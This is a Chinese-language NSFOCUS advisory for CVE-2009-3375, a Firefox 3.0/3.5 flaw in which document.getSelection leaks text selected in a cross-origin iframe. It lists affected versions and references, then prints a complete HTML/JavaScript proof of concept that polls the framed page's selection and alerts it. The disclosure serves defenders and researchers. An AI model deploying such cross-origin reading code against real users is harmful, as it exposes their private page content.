NSFOCUS绿盟科技

首页 -> 安全研究

安全研究

安全漏洞

Firefox document.getSelect跨域信息泄露漏洞

发布日期：2009-10-27
更新日期：2009-11-03

受影响系统：

Mozilla Firefox 3.5.x
Mozilla Firefox 3.0.x

不受影响系统：

Mozilla Firefox 3.5.4
Mozilla Firefox 3.0.15

描述：

BUGTRAQ  ID: 36858
CVE(CAN) ID: CVE-2009-3375

Firefox是一款流行的开源WEB浏览器。

Firefox的content/html/document/src/nsHTMLDocument.cpp允许远程攻击者通过document.getSelection函数绕过同源策略，读取其他域中的高亮显示的文本。

<*来源：Gregory Fleischer （gfleischer+bugzilla@gmail.com）

  链接：http://www.mozilla.org/security/announce/2009/mfsa2009-61.html
        https://bugzilla.mozilla.org/show_bug.cgi?format=multiple&id=503226
        http://www.debian.org/security/2009/dsa-1922
        https://www.redhat.com/support/errata/RHSA-2009-1531.html
        https://www.redhat.com/support/errata/RHSA-2009-1530.html
        http://sunsolve.sun.com/search/document.do?assetkey=1-66-272909-1
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?xml version="1.0"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>

<head>
<title>document.getSelection</title>
<script type="text/javascript">//<![CDATA[
var doc0, iframe0;
var selected = "";
var watcher = null;
function get_selection() {
    try {
    var s = doc0.getSelection();
    if (s) {
        if (s != selected) {
        selected = s;
        alert(s);
        }
    }
    } catch(e) {
    window.status = "error: " + e;
    }
}
function setup_watch() {
    watcher = setInterval(function() {
    get_selection();
    }, 500);
}

function set_location() {
    if (watcher) {
    clearInterval(watcher);
    }
    iframe0.onload = function(){setup_watch();}
    iframe0.src = document.getElementById("input0").value;
}

function init() {
    iframe0 = document.createElement("iframe");
    iframe0.src = "about:blank";
    iframe0.id = "iframe0";
    iframe0.height = "480";
    iframe0.width = "800";
    document.body.appendChild(iframe0);

    doc0 = iframe0.contentDocument;
}

//]]>
</script>
<style type="text/css">
body {
    margin: 5px 5% 5px 5%;
}
</style>
</head>
<body onload="init()">
<input type="text" size="48" name="input0" id="input0"
    value="http://www.google.com" />
<input type="button" name="go" value="go" onclick="set_location();"/>
<br />
</body>
</html>


建议：

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客